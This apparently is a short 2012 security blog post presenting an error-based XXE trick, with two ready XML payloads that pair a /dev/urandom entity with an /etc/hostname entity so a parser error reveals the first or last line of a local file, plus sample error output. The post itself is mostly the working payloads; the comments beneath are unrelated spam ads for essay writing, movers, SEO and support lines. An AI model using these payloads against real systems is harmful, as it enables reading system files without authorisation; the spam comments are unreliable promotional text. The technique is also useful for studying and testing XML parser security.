четверг, 4 октября 2012 г.

Error-based XXE exploitation trick

Exploiting of XXE vulnerabilities are difficult when you cannot view results XML document.

Recent vulnerability in Postgres XXE are good example of this: entities resolved but not added to XML output. This is common case in the wild.

Bring to your attention easy trick which provide reading first and last lines of ASCII files (which cannot be read by classic XXE attack vector, such as error-based case):

<!DOCTYPE [
   <!ENTITY malformed SYSTEM "/dev/urandom" ><!-- sometimes also /dev/null -->
   <!ENTITY wanttoread SYSTEM "/etc/hostname" >
]>
<!-- read first line of file using error-based XXE -->
<root>
&malformed; &wanttoread;
</root>

<!DOCTYPE [
   <!ENTITY malformed SYSTEM "/dev/urandom" ><!-- sometimes /dev/null -->
   <!ENTITY wanttoread SYSTEM "/etc/hostname" >
]>
<!-- read last line of file using error-based XXE -->
<root>
 &wanttoread; &malformed;
</root>

In error message you will look at smth like this:
ERROR: hostnamestr
                                     ^
didn't parse (line: 1 pos: 13)

11 комментариев:

  1. I'm glad to have read such a great writing. Keep up the good job! Visit Lawrence Todd Maxwell on Scoop.it for interesting topics about real estate.

    ОтветитьУдалить
  2. If you are having trouble in drafting your marketing assignments, it’s time for you to considering moving towards assignment help online services. IdealAssignmentHelp is here to help you with the best of online writing services which can help you submit your marketing assignment on time. Yes, they have the best team to assist you with your needs of My assignment help online services and that too at very affordable rates.

    ОтветитьУдалить
  3. If you are dreaming to get education from the best and reputed college for MBA in UK then there is a best opportunity for you with the help of which you can easily get admission to the top MBA College in Chandigarh. With the help of the best MBA College in Chandigarh you can easily get the best education and training affiliated from the top BBA universities in Chandigarh. If you want more info then you can visit the official website of SOIS i.e. https://www.soisonline.com/

    ОтветитьУдалить
  4. Take Online Assignment Help and connect with online tutors to lighten your academic stress effectively. To access these services, you need to log in or fill the order now form. Share your project details correctly, so that you will get the right content according to your requirements. You don’t need to pay a hefty amount for hiring an academic writer for your academic papers. Connect with a reliable service provider and get the awesome online academic writing services at the best market price.

    ОтветитьУдалить
  5. Such a valuable post. I like it very much and I like your choice words also. Please post some more topics related to online help because I also work in the online professional support industry which provides support of Outlook. I am waiting for your next valuable post
    How do I contact outlook by phone?
    How do I contact Outlook support?
    Is there a phone number for Outlook support?
    Outlook Support Phone number
    Microsoft Outlook Support

    ОтветитьУдалить

  6. نقل عفش من جدة الى دبي شحن عفش من جدة الى الامارات


    نقل عفش من الدمام الى الرياض نقل عفش من الدمام الى الرياض
    ارخص نقل عفش بمكة ارخص نقل عفش بمكة
    نقل عفش من جدة الى الاردن نقل عفش من جدة الى الاردن
    نقل عفش

    ОтветитьУдалить
  7. Myself Edwin Robert, part of the best digital marketing company along with the I really use my knowledge for myself like my website shayari ka pitara where you'll get all types of shayari like cute love shayari in hindi for boyfriend latest and unique.

    ОтветитьУдалить
  8. Hire the one of the best digital marketing company in Chandigarh - digital expert solution. As it is the only website that actually give you the top ranking over google that helps you to deliver the best leads makes your business a huge profit. As the professional team working in this company having full knowledge about what is google sandbox effect in seo and rank your business easily.

    ОтветитьУдалить